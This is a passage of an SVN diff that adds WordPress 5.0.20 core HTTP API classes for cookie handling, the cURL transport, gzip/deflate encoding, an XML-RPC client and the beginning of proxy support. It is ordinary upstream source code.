+ * Returned cookies are represented using this class, and when cookies are set, if they are not
+ * already a WP_Http_Cookie() object, then they are turned into one.
+ *
+ * @todo The WordPress convention is to use underscores instead of camelCase for function and method
+ * names. Need to switch to use underscores instead for the methods.
+ *
+ * @since 2.8.0
+ */
+class WP_Http_Cookie {
+
+	/**
+	 * Cookie name.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * Cookie value.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $value;
+
+	/**
+	 * When the cookie expires.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $expires;
+
+	/**
+	 * Cookie URL path.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $path;
+
+	/**
+	 * Cookie Domain.
+	 *
+	 * @since 2.8.0
+	 * @var string
+	 */
+	public $domain;
+
+	/**
+	 * Sets up this cookie object.
+	 *
+	 * The parameter $data should be either an associative array containing the indices names below
+	 * or a header string detailing it.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string|array $data {
+	 *     Raw cookie data as header string or data array.
+	 *
+	 *     @type string     $name    Cookie name.
+	 *     @type mixed      $value   Value. Should NOT already be urlencoded.
+	 *     @type string|int $expires Optional. Unix timestamp or formatted date. Default null.
+	 *     @type string     $path    Optional. Path. Default '/'.
+	 *     @type string     $domain  Optional. Domain. Default host of parsed $requested_url.
+	 *     @type int        $port    Optional. Port. Default null.
+	 * }
+	 * @param string       $requested_url The URL which the cookie was set on, used for default $domain
+	 *                                    and $port values.
+	 */
+	public function __construct( $data, $requested_url = '' ) {
+		if ( $requested_url )
+			$arrURL = @parse_url( $requested_url );
+		if ( isset( $arrURL['host'] ) )
+			$this->domain = $arrURL['host'];
+		$this->path = isset( $arrURL['path'] ) ? $arrURL['path'] : '/';
+		if (  '/' != substr( $this->path, -1 ) )
+			$this->path = dirname( $this->path ) . '/';
+
+		if ( is_string( $data ) ) {
+			// Assume it's a header string direct from a previous request.
+			$pairs = explode( ';', $data );
+
+			// Special handling for first pair; name=value. Also be careful of "=" in value.
+			$name  = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) );
+			$value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 );
+			$this->name  = $name;
+			$this->value = urldecode( $value );
+
+			// Removes name=value from items.
+			array_shift( $pairs );
+
+			// Set everything else as a property.
+			foreach ( $pairs as $pair ) {
+				$pair = rtrim($pair);
+
+				// Handle the cookie ending in ; which results in a empty final pair.
+				if ( empty($pair) )
+					continue;
+
+				list( $key, $val ) = strpos( $pair, '=' ) ? explode( '=', $pair ) : array( $pair, '' );
+				$key = strtolower( trim( $key ) );
+				if ( 'expires' == $key )
+					$val = strtotime( $val );
+				$this->$key = $val;
+			}
+		} else {
+			if ( !isset( $data['name'] ) )
+				return;
+
+			// Set properties based directly on parameters.
+			foreach ( array( 'name', 'value', 'path', 'domain', 'port' ) as $field ) {
+				if ( isset( $data[ $field ] ) )
+					$this->$field = $data[ $field ];
+			}
+
+			if ( isset( $data['expires'] ) )
+				$this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] );
+			else
+				$this->expires = null;
+		}
+	}
+
+	/**
+	 * Confirms that it's OK to send this cookie to the URL checked against.
+	 *
+	 * Decision is based on RFC 2109/2965, so look there for details on validity.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $url URL you intend to send this cookie to
+	 * @return bool true if allowed, false otherwise.
+	 */
+	public function test( $url ) {
+		if ( is_null( $this->name ) )
+			return false;
+
+		// Expires - if expired then nothing else matters.
+		if ( isset( $this->expires ) && time() > $this->expires )
+			return false;
+
+		// Get details on the URL we're thinking about sending to.
+		$url = parse_url( $url );
+		$url['port'] = isset( $url['port'] ) ? $url['port'] : ( 'https' == $url['scheme'] ? 443 : 80 );
+		$url['path'] = isset( $url['path'] ) ? $url['path'] : '/';
+
+		// Values to use for comparison against the URL.
+		$path   = isset( $this->path )   ? $this->path   : '/';
+		$port   = isset( $this->port )   ? $this->port   : null;
+		$domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] );
+		if ( false === stripos( $domain, '.' ) )
+			$domain .= '.local';
+
+		// Host - very basic check that the request URL ends with the domain restriction (minus leading dot).
+		$domain = substr( $domain, 0, 1 ) == '.' ? substr( $domain, 1 ) : $domain;
+		if ( substr( $url['host'], -strlen( $domain ) ) != $domain )
+			return false;
+
+		// Port - supports "port-lists" in the format: "80,8000,8080".
+		if ( !empty( $port ) && !in_array( $url['port'], explode( ',', $port) ) )
+			return false;
+
+		// Path - request path must start with path restriction.
+		if ( substr( $url['path'], 0, strlen( $path ) ) != $path )
+			return false;
+
+		return true;
+	}
+
+	/**
+	 * Convert cookie name and value back to header string.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string Header encoded cookie name and value.
+	 */
+	public function getHeaderValue() {
+		if ( ! isset( $this->name ) || ! isset( $this->value ) )
+			return '';
+
+		/**
+		 * Filters the header-encoded cookie value.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param string $value The cookie value.
+		 * @param string $name  The cookie name.
+		 */
+		return $this->name . '=' . apply_filters( 'wp_http_cookie_value', $this->value, $this->name );
+	}
+
+	/**
+	 * Retrieve cookie header for usage in the rest of the WordPress HTTP API.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string
+	 */
+	public function getFullHeader() {
+		return 'Cookie: ' . $this->getHeaderValue();
+	}
+
+	/**
+	 * Retrieves cookie attributes.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return array {
+	 *    List of attributes.
+	 *
+	 *    @type string $expires When the cookie expires.
+	 *    @type string $path    Cookie URL path.
+	 *    @type string $domain  Cookie domain.
+	 * }
+	 */
+	public function get_attributes() {
+		return array(
+			'expires' => $this->expires,
+			'path'    => $this->path,
+			'domain'  => $this->domain,
+		);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-curl.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-curl.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-curl.php	(revision 56912)
@@ -0,0 +1,383 @@
+<?php
+/**
+ * HTTP API: WP_Http_Curl class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to integrate Curl as an HTTP transport.
+ *
+ * HTTP request method uses Curl extension to retrieve the url.
+ *
+ * Requires the Curl extension to be installed.
+ *
+ * @since 2.7.0
+ */
+class WP_Http_Curl {
+
+	/**
+	 * Temporary header storage for during requests.
+	 *
+	 * @since 3.2.0
+	 * @var string
+	 */
+	private $headers = '';
+
+	/**
+	 * Temporary body storage for during requests.
+	 *
+	 * @since 3.6.0
+	 * @var string
+	 */
+	private $body = '';
+
+	/**
+	 * The maximum amount of data to receive from the remote server.
+	 *
+	 * @since 3.6.0
+	 * @var int
+	 */
+	private $max_body_length = false;
+
+	/**
+	 * The file resource used for streaming to file.
+	 *
+	 * @since 3.6.0
+	 * @var resource
+	 */
+	private $stream_handle = false;
+
+	/**
+	 * The total bytes written in the current request.
+	 *
+	 * @since 4.1.0
+	 * @var int
+	 */
+	private $bytes_written_total = 0;
+
+	/**
+	 * Send a HTTP request to a URI using cURL extension.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $url The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		if ( isset( $r['headers']['User-Agent'] ) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset( $r['headers']['User-Agent'] );
+		} elseif ( isset( $r['headers']['user-agent'] ) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset( $r['headers']['user-agent'] );
+		}
+
+		// Construct Cookie: header if any cookies are set.
+		WP_Http::buildCookieHeader( $r );
+
+		$handle = curl_init();
+
+		// cURL offers really easy proxy support.
+		$proxy = new WP_HTTP_Proxy();
+
+		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
+
+			curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP );
+			curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() );
+			curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() );
+
+			if ( $proxy->use_authentication() ) {
+				curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY );
+				curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() );
+			}
+		}
+
+		$is_local = isset($r['local']) && $r['local'];
+		$ssl_verify = isset($r['sslverify']) && $r['sslverify'];
+		if ( $is_local ) {
+			/** This filter is documented in wp-includes/class-wp-http-streams.php */
+			$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify );
+		} elseif ( ! $is_local ) {
+			/** This filter is documented in wp-includes/class-wp-http-streams.php */
+			$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify );
+		}
+
+		/*
+		 * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since.
+		 * a value of 0 will allow an unlimited timeout.
+		 */
+		$timeout = (int) ceil( $r['timeout'] );
+		curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout );
+		curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout );
+
+		curl_setopt( $handle, CURLOPT_URL, $url);
+		curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
+		curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( $ssl_verify === true ) ? 2 : false );
+		curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify );
+
+		if ( $ssl_verify ) {
+			curl_setopt( $handle, CURLOPT_CAINFO, $r['sslcertificates'] );
+		}
+
+		curl_setopt( $handle, CURLOPT_USERAGENT, $r['user-agent'] );
+
+		/*
+		 * The option doesn't work with safe mode or when open_basedir is set, and there's
+		 * a bug #17490 with redirected POST requests, so handle redirections outside Curl.
+		 */
+		curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false );
+		if ( defined( 'CURLOPT_PROTOCOLS' ) ) // PHP 5.2.10 / cURL 7.19.4
+			curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS );
+
+		switch ( $r['method'] ) {
+			case 'HEAD':
+				curl_setopt( $handle, CURLOPT_NOBODY, true );
+				break;
+			case 'POST':
+				curl_setopt( $handle, CURLOPT_POST, true );
+				curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
+				break;
+			case 'PUT':
+				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' );
+				curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
+				break;
+			default:
+				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $r['method'] );
+				if ( ! is_null( $r['body'] ) )
+					curl_setopt( $handle, CURLOPT_POSTFIELDS, $r['body'] );
+				break;
+		}
+
+		if ( true === $r['blocking'] ) {
+			curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) );
+			curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) );
+		}
+
+		curl_setopt( $handle, CURLOPT_HEADER, false );
+
+		if ( isset( $r['limit_response_size'] ) )
+			$this->max_body_length = intval( $r['limit_response_size'] );
+		else
+			$this->max_body_length = false;
+
+		// If streaming to a file open a file handle, and setup our curl streaming handler.
+		if ( $r['stream'] ) {
+			if ( ! WP_DEBUG )
+				$this->stream_handle = @fopen( $r['filename'], 'w+' );
+			else
+				$this->stream_handle = fopen( $r['filename'], 'w+' );
+			if ( ! $this->stream_handle ) {
+				return new WP_Error( 'http_request_failed', sprintf(
+					/* translators: 1: fopen() 2: file name */
+					__( 'Could not open handle for %1$s to %2$s.' ),
+					'fopen()',
+					$r['filename']
+				) );
+			}
+		} else {
+			$this->stream_handle = false;
+		}
+
+		if ( !empty( $r['headers'] ) ) {
+			// cURL expects full header strings in each element.
+			$headers = array();
+			foreach ( $r['headers'] as $name => $value ) {
+				$headers[] = "{$name}: $value";
+			}
+			curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers );
+		}
+
+		if ( $r['httpversion'] == '1.0' )
+			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 );
+		else
+			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 );
+
+		/**
+		 * Fires before the cURL request is executed.
+		 *
+		 * Cookies are not currently handled by the HTTP API. This action allows
+		 * plugins to handle cookies themselves.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param resource $handle  The cURL handle returned by curl_init() (passed by reference).
+		 * @param array    $r       The HTTP request arguments.
+		 * @param string   $url     The request URL.
+		 */
+		do_action_ref_array( 'http_api_curl', array( &$handle, $r, $url ) );
+
+		// We don't need to return the body, so don't. Just execute request and return.
+		if ( ! $r['blocking'] ) {
+			curl_exec( $handle );
+
+			if ( $curl_error = curl_error( $handle ) ) {
+				curl_close( $handle );
+				return new WP_Error( 'http_request_failed', $curl_error );
+			}
+			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ) ) ) {
+				curl_close( $handle );
+				return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
+			}
+
+			curl_close( $handle );
+			return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		}
+
+		curl_exec( $handle );
+		$theHeaders = WP_Http::processHeaders( $this->headers, $url );
+		$theBody = $this->body;
+		$bytes_written_total = $this->bytes_written_total;
+
+		$this->headers = '';
+		$this->body = '';
+		$this->bytes_written_total = 0;
+
+		$curl_error = curl_errno( $handle );
+
+		// If an error occurred, or, no response.
+		if ( $curl_error || ( 0 == strlen( $theBody ) && empty( $theHeaders['headers'] ) ) ) {
+			if ( CURLE_WRITE_ERROR /* 23 */ == $curl_error ) {
+				if ( ! $this->max_body_length || $this->max_body_length != $bytes_written_total ) {
+					if ( $r['stream'] ) {
+						curl_close( $handle );
+						fclose( $this->stream_handle );
+						return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
+					} else {
+						curl_close( $handle );
+						return new WP_Error( 'http_request_failed', curl_error( $handle ) );
+					}
+				}
+			} else {
+				if ( $curl_error = curl_error( $handle ) ) {
+					curl_close( $handle );
+					return new WP_Error( 'http_request_failed', $curl_error );
+				}
+			}
+			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ) ) ) {
+				curl_close( $handle );
+				return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
+			}
+		}
+
+		curl_close( $handle );
+
+		if ( $r['stream'] )
+			fclose( $this->stream_handle );
+
+		$response = array(
+			'headers' => $theHeaders['headers'],
+			'body' => null,
+			'response' => $theHeaders['response'],
+			'cookies' => $theHeaders['cookies'],
+			'filename' => $r['filename']
+		);
+
+		// Handle redirects.
+		if ( false !== ( $redirect_response = WP_HTTP::handle_redirects( $url, $r, $response ) ) )
+			return $redirect_response;
+
+		if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($theHeaders['headers']) )
+			$theBody = WP_Http_Encoding::decompress( $theBody );
+
+		$response['body'] = $theBody;
+
+		return $response;
+	}
+
+	/**
+	 * Grabs the headers of the cURL request.
+	 *
+	 * Each header is sent individually to this callback, so we append to the `$header` property
+	 * for temporary storage
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param resource $handle  cURL handle.
+	 * @param string   $headers cURL request headers.
+	 * @return int Length of the request headers.
+	 */
+	private function stream_headers( $handle, $headers ) {
+		$this->headers .= $headers;
+		return strlen( $headers );
+	}
+
+	/**
+	 * Grabs the body of the cURL request.
+	 *
+	 * The contents of the document are passed in chunks, so we append to the `$body`
+	 * property for temporary storage. Returning a length shorter than the length of
+	 * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param resource $handle  cURL handle.
+	 * @param string   $data    cURL request body.
+	 * @return int Total bytes of data written.
+	 */
+	private function stream_body( $handle, $data ) {
+		$data_length = strlen( $data );
+
+		if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) {
+			$data_length = ( $this->max_body_length - $this->bytes_written_total );
+			$data = substr( $data, 0, $data_length );
+		}
+
+		if ( $this->stream_handle ) {
+			$bytes_written = fwrite( $this->stream_handle, $data );
+		} else {
+			$this->body .= $data;
+			$bytes_written = $data_length;
+		}
+
+		$this->bytes_written_total += $bytes_written;
+
+		// Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR.
+		return $bytes_written;
+	}
+
+	/**
+	 * Determines whether this class can be used for retrieving a URL.
+	 *
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @param array $args Optional. Array of request arguments. Default empty array.
+	 * @return bool False means this class can not be used, true means it can.
+	 */
+	public static function test( $args = array() ) {
+		if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) )
+			return false;
+
+		$is_ssl = isset( $args['ssl'] ) && $args['ssl'];
+
+		if ( $is_ssl ) {
+			$curl_version = curl_version();
+			// Check whether this cURL version support SSL requests.
+			if ( ! (CURL_VERSION_SSL & $curl_version['features']) )
+				return false;
+		}
+
+		/**
+		 * Filters whether cURL can be used as a transport for retrieving a URL.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param bool  $use_class Whether the class can be used. Default true.
+		 * @param array $args      An array of request arguments.
+		 */
+		return apply_filters( 'use_curl_transport', true, $args );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-encoding.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-encoding.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-encoding.php	(revision 56912)
@@ -0,0 +1,228 @@
+<?php
+/**
+ * HTTP API: WP_Http_Encoding class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement deflate and gzip transfer encoding support for HTTP requests.
+ *
+ * Includes RFC 1950, RFC 1951, and RFC 1952.
+ *
+ * @since 2.8.0
+ */
+class WP_Http_Encoding {
+
+	/**
+	 * Compress raw string using the deflate format.
+	 *
+	 * Supports the RFC 1951 standard.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @static
+	 *
+	 * @param string $raw String to compress.
+	 * @param int $level Optional, default is 9. Compression level, 9 is highest.
+	 * @param string $supports Optional, not used. When implemented it will choose the right compression based on what the server supports.
+	 * @return string|false False on failure.
+	 */
+	public static function compress( $raw, $level = 9, $supports = null ) {
+		return gzdeflate( $raw, $level );
+	}
+
+	/**
+	 * Decompression of deflated string.
+	 *
+	 * Will attempt to decompress using the RFC 1950 standard, and if that fails
+	 * then the RFC 1951 standard deflate will be attempted. Finally, the RFC
+	 * 1952 standard gzip decode will be attempted. If all fail, then the
+	 * original compressed string will be returned.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @static
+	 *
+	 * @param string $compressed String to decompress.
+	 * @param int $length The optional length of the compressed data.
+	 * @return string|bool False on failure.
+	 */
+	public static function decompress( $compressed, $length = null ) {
+
+		if ( empty($compressed) )
+			return $compressed;
+
+		if ( false !== ( $decompressed = @gzinflate( $compressed ) ) )
+			return $decompressed;
+
+		if ( false !== ( $decompressed = self::compatible_gzinflate( $compressed ) ) )
+			return $decompressed;
+
+		if ( false !== ( $decompressed = @gzuncompress( $compressed ) ) )
+			return $decompressed;
+
+		if ( function_exists('gzdecode') ) {
+			$decompressed = @gzdecode( $compressed );
+
+			if ( false !== $decompressed )
+				return $decompressed;
+		}
+
+		return $compressed;
+	}
+
+	/**
+	 * Decompression of deflated string while staying compatible with the majority of servers.
+	 *
+	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
+	 * function cannot handle out of the box. The following function has been created from
+	 * various snippets on the gzinflate() PHP documentation.
+	 *
+	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
+	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
+	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
+	 * https://core.trac.wordpress.org/ticket/18273
+	 *
+	 * @since 2.8.1
+	 * @link https://core.trac.wordpress.org/ticket/18273
+	 * @link https://secure.php.net/manual/en/function.gzinflate.php#70875
+	 * @link https://secure.php.net/manual/en/function.gzinflate.php#77336
+	 *
+	 * @static
+	 *
+	 * @param string $gzData String to decompress.
+	 * @return string|bool False on failure.
+	 */
+	public static function compatible_gzinflate($gzData) {
+
+		// Compressed data might contain a full header, if so strip it for gzinflate().
+		if ( substr($gzData, 0, 3) == "\x1f\x8b\x08" ) {
+			$i = 10;
+			$flg = ord( substr($gzData, 3, 1) );
+			if ( $flg > 0 ) {
+				if ( $flg & 4 ) {
+					list($xlen) = unpack('v', substr($gzData, $i, 2) );
+					$i = $i + 2 + $xlen;
+				}
+				if ( $flg & 8 )
+					$i = strpos($gzData, "\0", $i) + 1;
+				if ( $flg & 16 )
+					$i = strpos($gzData, "\0", $i) + 1;
+				if ( $flg & 2 )
+					$i = $i + 2;
+			}
+			$decompressed = @gzinflate( substr($gzData, $i, -8) );
+			if ( false !== $decompressed )
+				return $decompressed;
+		}
+
+		// Compressed data from java.util.zip.Deflater amongst others.
+		$decompressed = @gzinflate( substr($gzData, 2) );
+		if ( false !== $decompressed )
+			return $decompressed;
+
+		return false;
+	}
+
+	/**
+	 * What encoding types to accept and their priority values.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @static
+	 *
+	 * @param string $url
+	 * @param array  $args
+	 * @return string Types of encoding to accept.
+	 */
+	public static function accept_encoding( $url, $args ) {
+		$type = array();
+		$compression_enabled = self::is_available();
+
+		if ( ! $args['decompress'] ) // Decompression specifically disabled.
+			$compression_enabled = false;
+		elseif ( $args['stream'] ) // Disable when streaming to file.
+			$compression_enabled = false;
+		elseif ( isset( $args['limit_response_size'] ) ) // If only partial content is being requested, we won't be able to decompress it.
+			$compression_enabled = false;
+
+		if ( $compression_enabled ) {
+			if ( function_exists( 'gzinflate' ) )
+				$type[] = 'deflate;q=1.0';
+
+			if ( function_exists( 'gzuncompress' ) )
+				$type[] = 'compress;q=0.5';
+
+			if ( function_exists( 'gzdecode' ) )
+				$type[] = 'gzip;q=0.5';
+		}
+
+		/**
+		 * Filters the allowed encoding types.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param array  $type Encoding types allowed. Accepts 'gzinflate',
+		 *                     'gzuncompress', 'gzdecode'.
+		 * @param string $url  URL of the HTTP request.
+		 * @param array  $args HTTP request arguments.
+		 */
+		$type = apply_filters( 'wp_http_accept_encoding', $type, $url, $args );
+
+		return implode(', ', $type);
+	}
+
+	/**
+	 * What encoding the content used when it was compressed to send in the headers.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @static
+	 *
+	 * @return string Content-Encoding string to send in the header.
+	 */
+	public static function content_encoding() {
+		return 'deflate';
+	}
+
+	/**
+	 * Whether the content be decoded based on the headers.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @static
+	 *
+	 * @param array|string $headers All of the available headers.
+	 * @return bool
+	 */
+	public static function should_decode($headers) {
+		if ( is_array( $headers ) ) {
+			if ( array_key_exists('content-encoding', $headers) && ! empty( $headers['content-encoding'] ) )
+				return true;
+		} elseif ( is_string( $headers ) ) {
+			return ( stripos($headers, 'content-encoding:') !== false );
+		}
+
+		return false;
+	}
+
+	/**
+	 * Whether decompression and compression are supported by the PHP version.
+	 *
+	 * Each function is tested instead of checking for the zlib extension, to
+	 * ensure that the functions all exist in the PHP version and aren't
+	 * disabled.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @static
+	 *
+	 * @return bool
+	 */
+	public static function is_available() {
+		return ( function_exists('gzuncompress') || function_exists('gzdeflate') || function_exists('gzinflate') );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-ixr-client.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-ixr-client.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-ixr-client.php	(revision 56912)
@@ -0,0 +1,124 @@
+<?php
+/**
+ * WP_HTTP_IXR_Client
+ *
+ * @package WordPress
+ * @since 3.1.0
+ *
+ */
+class WP_HTTP_IXR_Client extends IXR_Client {
+	public $scheme;
+	/**
+	 * @var IXR_Error
+	 */
+	public $error;
+
+	/**
+	 * @param string $server
+	 * @param string|bool $path
+	 * @param int|bool $port
+	 * @param int $timeout
+	 */
+	public function __construct($server, $path = false, $port = false, $timeout = 15) {
+		if ( ! $path ) {
+			// Assume we have been given a URL instead
+			$bits = parse_url($server);
+			$this->scheme = $bits['scheme'];
+			$this->server = $bits['host'];
+			$this->port = isset($bits['port']) ? $bits['port'] : $port;
+			$this->path = !empty($bits['path']) ? $bits['path'] : '/';
+
+			// Make absolutely sure we have a path
+			if ( ! $this->path ) {
+				$this->path = '/';
+			}
+
+			if ( ! empty( $bits['query'] ) ) {
+				$this->path .= '?' . $bits['query'];
+			}
+		} else {
+			$this->scheme = 'http';
+			$this->server = $server;
+			$this->path = $path;
+			$this->port = $port;
+		}
+		$this->useragent = 'The Incutio XML-RPC PHP Library';
+		$this->timeout = $timeout;
+	}
+
+	/**
+	 * @return bool
+	 */
+	public function query() {
+		$args = func_get_args();
+		$method = array_shift($args);
+		$request = new IXR_Request($method, $args);
+		$xml = $request->getXml();
+
+		$port = $this->port ? ":$this->port" : '';
+		$url = $this->scheme . '://' . $this->server . $port . $this->path;
+		$args = array(
+			'headers'    => array('Content-Type' => 'text/xml'),
+			'user-agent' => $this->useragent,
+			'body'       => $xml,
+		);
+
+		// Merge Custom headers ala #8145
+		foreach ( $this->headers as $header => $value ) {
+			$args['headers'][$header] = $value;
+		}
+
+		/**
+		 * Filters the headers collection to be sent to the XML-RPC server.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array $headers Array of headers to be sent.
+		 */
+		$args['headers'] = apply_filters( 'wp_http_ixr_client_headers', $args['headers'] );
+
+		if ( $this->timeout !== false ) {
+			$args['timeout'] = $this->timeout;
+		}
+
+		// Now send the request
+		if ( $this->debug ) {
+			echo '<pre class="ixr_request">' . htmlspecialchars($xml) . "\n</pre>\n\n";
+		}
+
+		$response = wp_remote_post($url, $args);
+
+		if ( is_wp_error($response) ) {
+			$errno    = $response->get_error_code();
+			$errorstr = $response->get_error_message();
+			$this->error = new IXR_Error(-32300, "transport error: $errno $errorstr");
+			return false;
+		}
+
+		if ( 200 != wp_remote_retrieve_response_code( $response ) ) {
+			$this->error = new IXR_Error(-32301, 'transport error - HTTP status code was not 200 (' . wp_remote_retrieve_response_code( $response ) . ')');
+			return false;
+		}
+
+		if ( $this->debug ) {
+			echo '<pre class="ixr_response">' . htmlspecialchars( wp_remote_retrieve_body( $response ) ) . "\n</pre>\n\n";
+		}
+
+		// Now parse what we've got back
+		$this->message = new IXR_Message( wp_remote_retrieve_body( $response ) );
+		if ( ! $this->message->parse() ) {
+			// XML error
+			$this->error = new IXR_Error(-32700, 'parse error. not well formed');
+			return false;
+		}
+
+		// Is the message a fault?
+		if ( $this->message->messageType == 'fault' ) {
+			$this->error = new IXR_Error($this->message->faultCode, $this->message->faultString);
+			return false;
+		}
+
+		// Message must be OK
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-http-proxy.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-http-proxy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-http-proxy.php	(revision 56912)
@@ -0,0 +1,219 @@
+<?php
+/**
+ * HTTP API: WP_HTTP_Proxy class
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement HTTP API proxy support.
+ *
+ * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to
+ * enable proxy support. There are also a few filters that plugins can hook into for some of the
+ * constants.
+ *
+ * Please note that only BASIC authentication is supported by most transports.
+ * cURL MAY support more methods (such as NTLM authentication) depending on your environment.
+ *
+ * The constants are as follows:
+ * <ol>
+ * <li>WP_PROXY_HOST - Enable proxy support and host for connecting.</li>
+ * <li>WP_PROXY_PORT - Proxy port for connection. No default, must be defined.</li>
+ * <li>WP_PROXY_USERNAME - Proxy username, if it requires authentication.</li>
+ * <li>WP_PROXY_PASSWORD - Proxy password, if it requires authentication.</li>
+ * <li>WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy.
+ * You do not need to have localhost and the site host in this list, because they will not be passed
+ * through the proxy. The list should be presented in a comma separated list, wildcards using * are supported, eg. *.wordpress.org</li>
+ * </ol>
+ *
+ * An example can be as seen below.
+ *
+ *     define('WP_PROXY_HOST', '192.168.84.101');
+ *     define('WP_PROXY_PORT', '8080');
+ *     define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com, *.wordpress.org');
+ *
+ * @link https://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress.
+ * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_PROXY_BYPASS_HOSTS
+ *
+ * @since 2.8.0
+ */
+class WP_HTTP_Proxy {
+
+	/**
+	 * Whether proxy connection should be used.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @use WP_PROXY_HOST
+	 * @use WP_PROXY_PORT
+	 *
+	 * @return bool
+	 */
+	public function is_enabled() {
